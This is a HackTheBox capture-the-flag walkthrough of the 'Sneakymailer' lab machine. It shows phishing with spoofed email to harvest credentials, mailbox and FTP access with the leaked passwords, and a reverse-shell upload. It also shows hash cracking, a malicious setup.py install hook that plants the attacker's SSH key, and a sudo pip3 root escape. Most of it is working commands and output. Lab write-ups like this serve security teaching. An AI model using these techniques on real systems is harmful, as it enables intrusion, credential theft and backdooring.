Introduction
Column | Details |
---|---|
Name | Sneakymailer |
IP | 10.10.10.197 |
Points | 30 |
Os | Linux |
Difficulty | Medium |
Creator | Sulcud |
Out On | 11 July 2020 |
Steps involved
1-Port Scan
2-Basic website enumeration
3-Sending Spoofed mail
4-Login into imap using paulbyrd creds and extracting mails
5-Login into ftp using developer creds
6-Uploading a Reverse shell through ftp
7-Subdomain enumeration
8-Getting shell as www-data and reusing developer password
9-Getting another subdomain
10-Getting .htpasswd and decrypting it
11-Building the package and uploading our own ssh keys
12-Login into low account using ssh keys and getting the user.txt
13-Privilege escalation
14-Abusing pip3 and getting root.txt
Commands involved
1-nmap -sC -sV -O -v -oN nmap 10.10.10.197
2-while read mail; do swaks --to $mail --from [email protected] --header “Subject: Credentials / Errors” --body “goto http://10.10.14.36:8080/” --server 10.10.10.197; done < emails
3-openssl s_client -crlf -connect 10.10.10.197:993
4-a login paulbyrd ^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht
5-a list "" *
6-a select "INBOX.Sent Items"
7-a fetch 1 BODY.PEEK[]
8-wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://sneakycorp.htb/ -H “Host:FUZZ.sneakycorp.htb” -fs 185
9-john hash -w=/usr/share/wordlists/rockyou.txt
10-wget -r --no-parent http://10.10.14.36:8080/pypi-pkg
11-python3 setup.py sdist register -r local upload -r local
12-TF=$(mktemp -d)
13-echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
14- sudo pip3 install $TF
Port Scan
┌─[nagendra@parrot]─[~/Desktop/hackthebox/10.10.10.197/sneakymailer] └──╼ $cat nmap Nmap 7.80 scan initiated Sat Sep 12 23:25:01 2020 as: nmap -sC -sV -O -v -oN nmap 10.10.10.197 Increasing send delay for 10.10.10.197 from 0 to 5 due to 226 out of 753 dropped probes since last increase. Nmap scan report for 10.10.10.197 Host is up (0.21s latency). Not shown: 993 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 57:c9:00:35:36:56:e6:6f:f6:de:86:40:b2:ee:3e:fd (RSA) | 256 d8:21:23:28:1d:b8:30:46:e2:67:2d:59:65:f0:0a:05 (ECDSA) |_ 256 5e:4f:23:4e:d4:90:8e:e9:5e:89:74:b3:19:0c:fc:1a (ED25519) 25/tcp open smtp Postfix smtpd |smtp-commands: debian, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING, 80/tcp open http nginx 1.14.2 | http-methods: | Supported Methods: GET HEAD POST OPTIONS |http-server-header: nginx/1.14.2 |_http-title: Did not follow redirect to http://sneakycorp.htb 143/tcp open imap Courier Imapd (released 2018) |_imap-capabilities: ACL SORT QUOTA IMAP4rev1 NAMESPACE ACL2=UNION THREAD=REFERENCES THREAD=ORDEREDSUBJECT ENABLE completed UTF8=ACCEPTA0001 CHILDREN UIDPLUS CAPABILITY IDLE OK STARTTLS | ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US | Subject Alternative Name: email:[email protected] | Issuer: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US | Public Key type: rsa | Public Key bits: 3072 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2020-05-14T17:14:21 | Not valid after: 2021-05-14T17:14:21 | MD5: 3faf 4166 f274 83c5 8161 03ed f9c2 0308 |_SHA-1: f79f 040b 2cd7 afe0 31fa 08c3 b30a 5ff5 7b63 566c |_ssl-date: TLS randomness does not represent time 993/tcp open ssl/imap Courier Imapd (released 2018) |_imap-capabilities: ACL SORT QUOTA IMAP4rev1 AUTH=PLAIN NAMESPACE ACL2=UNION THREAD=REFERENCES THREAD=ORDEREDSUBJECT ENABLE completed UTF8=ACCEPTA0001 CHILDREN UIDPLUS IDLE CAPABILITY OK | ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US | Subject Alternative Name: email:[email protected] | Issuer: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US | Public Key type: rsa | Public Key bits: 3072 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2020-05-14T17:14:21 | Not valid after: 2021-05-14T17:14:21 | MD5: 3faf 4166 f274 83c5 8161 03ed f9c2 0308 |_SHA-1: f79f 040b 2cd7 afe0 31fa 08c3 b30a 5ff5 7b63 566c |_ssl-date: TLS randomness does not represent time 8080/tcp open http nginx 1.14.2 | http-methods: | Supported Methods: GET HEAD |_http-open-proxy: Proxy might be redirecting requests |_http-server-header: nginx/1.14.2 |_http-title: Welcome to nginx! No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.80%E=4%D=9/12%OT=21%CT=1%CU=32680%PV=Y%DS=2%DC=I%G=Y%TM=5F5D0BD OS:A%P=x86_64-pc-linux-gnu)SEQ(SP=F1%GCD=1%ISR=10E%TI=Z%CI=Z%II=I%TS=A)OPS( OS:O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11 OS:NW7%O6=M54DST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN( OS:R=Y%DF=Y%T=40%W=FAF0%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS OS:%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R= OS:Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F= OS:R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T OS:=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD= OS:S) Uptime guess: 26.933 days (since Mon Aug 17 01:03:37 2020) Network Distance: 2 hops TCP Sequence Prediction: Difficulty=241 (Good luck!) IP ID Sequence Generation: All zeros Service Info: Host: debian; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Read data files from: /usr/bin/../share/nmap OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done at Sat Sep 12 23:26:42 2020 -- 1 IP address (1 host up) scanned in 100.94 seconds
Basic Website enumeration
The first step is to always look for the http services .
so http://10.10.10.198/ redirects us to http://sneakycorp.htb/
So it is very clear that we have to add it in to our host file.
/etc/hosts
Now let’s visit http://sneakycorp.htb/ .
There is another page http://sneakycorp.htb/team.php . Which has lots of email moreover the name of the machine is sneaky mailer so let’s copy all the emails.
We can use online tool https://email-checker.net/email-extractor
Sending spoofed mails
Now let’s send spoofed mail to every one some one might open it.
while read mail; do swaks --to $mail --from [email protected] --header “Subject: Credentials / Errors” --body “goto http://10.10.14.36:8080/” --server 10.10.10.197; done < emails
And got a response .
➜ nc -nlvp 8080 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Listening on :::8080 Ncat: Listening on 0.0.0.0:8080 Ncat: Connection from 10.10.10.197. Ncat: Connection from 10.10.10.197:48426. POST / HTTP/1.1 Host: 10.10.14.36:8080 User-Agent: python-requests/2.23.0 Accept-Encoding: gzip, deflate Accept: / Connection: keep-alive Content-Length: 185 Content-Type: application/x-www-form-urlencoded firstName=Paul&lastName=Byrd&email=paulbyrd%40sneakymailer.htb&password=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt&rpassword=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt
decoding it.
Now we have some valid credentials .
mail: [email protected] user: paulbyrd password: ^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht
Login into imap using paulbyrd creds and extracting mails
openssl s_client -crlf -connect 10.10.10.197:993
a login paulbyrd ^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht
Login into imap
a login paulbyrd ^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht OK [ALERT] Filesystem notification initialization error -- contact your mail administrator (check for configuration errors with the FAM/Gamin library) a OK LOGIN Ok.
a list “” *
listing
a list "" * LIST (\Unmarked \HasChildren) "." "INBOX" LIST (\HasNoChildren) "." "INBOX.Trash" LIST (\HasNoChildren) "." "INBOX.Sent" LIST (\HasNoChildren) "." "INBOX.Deleted Items" LIST (\HasNoChildren) "." "INBOX.Sent Items" a OK LIST completed
Selecting INBOX.Sent Items
a select “INBOX.Sent Items”
a select "INBOX.Sent Items" FLAGS (\Draft \Answered \Flagged \Deleted \Seen \Recent) OK [PERMANENTFLAGS (* \Draft \Answered \Flagged \Deleted \Seen)] Limited 2 EXISTS 0 RECENT OK [UIDVALIDITY 589480766] Ok OK [MYRIGHTS "acdilrsw"] ACL a OK [READ-WRITE] Ok
Fetching mails
a fetch 1 BODY.PEEK[]
a fetch 2 BODY.PEEK[]
a fetch 1 BODY.PEEK[] 1 FETCH (BODY[] {2167} MIME-Version: 1.0 To: root From: Paul Byrd [email protected] Subject: Password reset Date: Fri, 15 May 2020 13:03:37 -0500 Importance: normal X-Priority: 3 Content-Type: multipart/alternative; boundary="21F4C0AC-AA5F-47F8-9F7F-7CB64B1169AD" --21F4C0AC-AA5F-47F8-9F7F-7CB64B1169AD Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset="utf-8" Hello administrator, I want to change this password for the developer accou= nt Username: developer Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C Please notify me when you do it=20 --21F4C0AC-AA5F-47F8-9F7F-7CB64B1169AD Content-Transfer-Encoding: quoted-printable Content-Type: text/html; charset="utf-8" <!-- /* Font Definitions */ @font-face {font-family:"Cambria Math"; panose-1:2 4 5 3 5 4 6 3 2 4;} @font-face {font-family:Calibri; panose-1:2 15 5 2 2 2 4 3 2 4;} /* Style Definitions */ p.MsoNormal, li.MsoNormal, div.MsoNormal {margin:0in; margin-bottom:.0001pt; font-size:11.0pt; font-family:"Calibri",sans-serif;} .MsoChpDefault {mso-style-type:export-only;} @page WordSection1 {size:8.5in 11.0in; margin:1.0in 1.0in 1.0in 1.0in;} div.WordSection1 {page:WordSection1;} --> Hello administrator, I want to chang= e this password for the developer account &nbs= p; Username: developer Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C Please notify me when you do i= t = --21F4C0AC-AA5F-47F8-9F7F-7CB64B1169AD-- ) a OK FETCH completed. a fetch 2 BODY.PEEK[] 2 FETCH (BODY[] {585} To: low@debian From: Paul Byrd [email protected] Subject: Module testing Message-ID: [email protected] Date: Wed, 27 May 2020 13:28:58 -0400 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Thunderbird/68.8.0 MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; format=flowed Content-Transfer-Encoding: 7bit Content-Language: en-US Hello low Your current task is to install, test and then erase every python module you find in our PyPI service, let me know if you have any inconvenience. ) a OK FETCH completed.
Body of the mails
Hello administrator, I want to change this password for the developer account &nbs= p; Username: developer Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C Please notify me when you do it Hello low Your current task is to install, test and then erase every python module you find in our PyPI service, let me know if you have any inconvenience.
Login into ftp using developer creds
Here we get our second credentials
developer:m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C
These creds where working fine for ftp.
Uploading reverse shell through ftp
Here is one directory dev . Which has files for the website .
What if we upload a reverse shell in the dev dir and get a reverse shell
Now to access the reverse shell we need to invoke it .But through http://sneakycorp.htb/ it is not working .So we need to try some thing else.
Subdomain enumeration
So one way is to guess it that the files are in dev directory .So we can use most common subdomain dev.sneakycorp.htb.
Or we can use WFUZZ
┌─[nagendra@parrot]─[~/Desktop/hackthebox/10.10.10.197/sneakymailer] └──╼ $wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://sneakycorp.htb/ -H “Host:FUZZ.sneakycorp.htb” -fs 185
Remember to add dev.sneakycorp.htb to your host file.
http://dev.sneakycorp.htb/rana.php
Getting shell as www-data and reusing developer password
Now we get the shell as www-data
Reusing the developer password.
Getting another subdomain
After some enumeration we get another subdomain.
developer@sneakymailer:/var/www$ ls
ls
dev.sneakycorp.htb
html
pypi.sneakycorp.htb
sneakycorp.htb
developer@sneakymailer:/var/www$
Adding
pypi.sneakycorp.htb to /etc/hosts
visit http://pypi.sneakycorp.htb:8080/ |
Getting .htpasswd and decrypting it
While enumerating we got .htpasswd
developer@sneakymailer:/var/www/pypi.sneakycorp.htb$ cat .htpasswd
cat .htpasswd
pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/
developer@sneakymailer:/var/www/pypi.sneakycorp.htb$
Decrypting the hash using john
➜ john hash -w=/usr/share/wordlists/rockyou.txt Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long" Use the "--format=md5crypt-long" option to force loading these as that type instead Using default input encoding: UTF-8 Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3]) Will run 5 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status soufianeelhaoui (pypi) 1g 0:00:00:12 DONE (2020-07-16 00:43) 0.07757g/s 277312p/s 277312c/s 277312C/s souheib2..sottod Use the "--show" option to display all of the cracked passwords reliably Session completed
We get
soufianeelhaoui
Remember the mail
Hello low Your current task is to install, test and then erase every python module you find in our PyPI service, let me know if you have any inconvenience.
So let’s build a package and install it.
Building the package and uploading own ssh keys
Now i just need to build a python package so that the user low can install it simply
make two files
- .pypirc
- setup.py
The file .pypirc
which will authorize me and the setup.py which will be the package file that contains all the stuff we want to do
[distutils]
index-servers = local
[local]
repository: http://pypi.sneakycorp.htb:8080
username: pypi
password: soufianeelhaoui
setup.py
import setuptools
try:
with open("/home/low/.ssh/authorized_keys", "a") as f:
f.write("\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCkd6Sz2fhwDhJT5QkH9y9FMu4rlcgwJzvbgkvoJmDo5gp/tlpL7MPpaOYGiiK1KK8Q4eN>
f.close()
except Exception as e:
pass
setuptools.setup(
name='sample',
version='1.2.0',
description='A sample Python project',
long_description="long_description",
long_description_content_type='text/x-rst',
url='https://github.com/pypa/sampleproject',
author='A. Random Developer',
author_email='[email protected]',
license='MIT',
packages=setuptools.find_packages(),
install_requires=['peppercorn'],
)
With this we will add our own ssh keys.
developer@sneakymailer:/tmp$ wget -r --no-parent http://10.10.14.36:8080/pypi-pkg <get -r --no-parent http://10.10.14.36:8080/pypi-pkg --2020-10-03 00:31:58-- http://10.10.14.36:8080/pypi-pkg Connecting to 10.10.14.36:8080… connected. HTTP request sent, awaiting response… 301 Moved Permanently Location: /pypi-pkg/ [following] --2020-10-03 00:31:59-- http://10.10.14.36:8080/pypi-pkg/ Connecting to 10.10.14.36:8080… connected. HTTP request sent, awaiting response… 200 OK Length: 395 [text/html] Saving to: ‘10.10.14.36:8080/pypi-pkg’0K 100% 78.2M=0s
2020-10-03 00:32:00 (78.2 MB/s) - ‘10.10.14.36:8080/pypi-pkg’ saved [395/395] Loading robots.txt; please ignore errors. --2020-10-03 00:32:00-- http://10.10.14.36:8080/robots.txt Connecting to 10.10.14.36:8080… connected. HTTP request sent, awaiting response… 404 File not found 2020-10-03 00:32:01 ERROR 404: File not found. --2020-10-03 00:32:01-- http://10.10.14.36:8080/pypi-pkg/.pypirc Connecting to 10.10.14.36:8080… connected. HTTP request sent, awaiting response… 200 OK Length: 128 [application/octet-stream] Saving to: ‘10.10.14.36:8080/pypi-pkg/.pypirc’0K 100% 7.80M=0s
2020-10-03 00:32:01 (7.80 MB/s) - ‘10.10.14.36:8080/pypi-pkg/.pypirc’ saved [128/128] --2020-10-03 00:32:01-- http://10.10.14.36:8080/pypi-pkg/setup.py Connecting to 10.10.14.36:8080… connected. HTTP request sent, awaiting response… 200 OK Length: 1200 (1.2K) [text/plain] Saving to: ‘10.10.14.36:8080/pypi-pkg/setup.py’0K . 100% 203M=0s
2020-10-03 00:32:02 (203 MB/s) - ‘10.10.14.36:8080/pypi-pkg/setup.py’ saved [1200/1200] FINISHED --2020-10-03 00:32:02-- Total wall clock time: 4.0s Downloaded: 3 files, 1.7K in 0s (62.9 MB/s)
Now running the setup.py
developer@sneakymailer:~/pypi-pkg$ HOME=pwd
HOME=pwd
developer@sneakymailer:~$ python3 setup.py sdist register -r local upload -r local <n3 setup.py sdist register -r local upload -r local running sdist running egg_info creating sample.egg-info writing sample.egg-info/PKG-INFO writing dependency_links to sample.egg-info/dependency_links.txt writing requirements to sample.egg-info/requires.txt writing top-level names to sample.egg-info/top_level.txt writing manifest file 'sample.egg-info/SOURCES.txt' reading manifest file 'sample.egg-info/SOURCES.txt' writing manifest file 'sample.egg-info/SOURCES.txt' warning: sdist: standard file not found: should have one of README, README.rst, README.txt, README.md running check creating sample-1.2.0 creating sample-1.2.0/sample.egg-info copying files to sample-1.2.0… copying setup.py -> sample-1.2.0 copying sample.egg-info/PKG-INFO -> sample-1.2.0/sample.egg-info copying sample.egg-info/SOURCES.txt -> sample-1.2.0/sample.egg-info copying sample.egg-info/dependency_links.txt -> sample-1.2.0/sample.egg-info copying sample.egg-info/requires.txt -> sample-1.2.0/sample.egg-info copying sample.egg-info/top_level.txt -> sample-1.2.0/sample.egg-info Writing sample-1.2.0/setup.cfg creating dist Creating tar archive removing 'sample-1.2.0' (and everything under it) running register Registering sample to http://pypi.sneakycorp.htb:8080 Server response (200): OK WARNING: Registering is deprecated, use twine to upload instead (https://pypi.org/p/twine/) running upload Submitting dist/sample-1.2.0.tar.gz to http://pypi.sneakycorp.htb:8080 Server response (200): OK WARNING: Uploading via this command is deprecated, use twine to upload instead (https://pypi.org/p/twine/)
Login into low account using ssh keys and getting the user.txt
And now w can login with our own ssh keys.
And also we got the user.txt
Privilege escalation
Now checking the sudo commands .
low@sneakymailer:~$ sudo -l sudo: unable to resolve host sneakymailer: Temporary failure in name resolution Matching Defaults entries for low on sneakymailer: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User low may run the following commands on sneakymailer: (root) NOPASSWD: /usr/bin/pip3
Abusing pip3 and getting root.txt
So we can run /usr/bin/pip3 as root
Now let’s google it about it.
And got gtfobins pip abusing
Simply using it for pip3 got me the root shell
low@sneakymailer:~$ TF=$(mktemp -d)
low@sneakymailer:~$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
low@sneakymailer:~$ sudo pip3 install $TF
And now we are root.And we also have the root flag.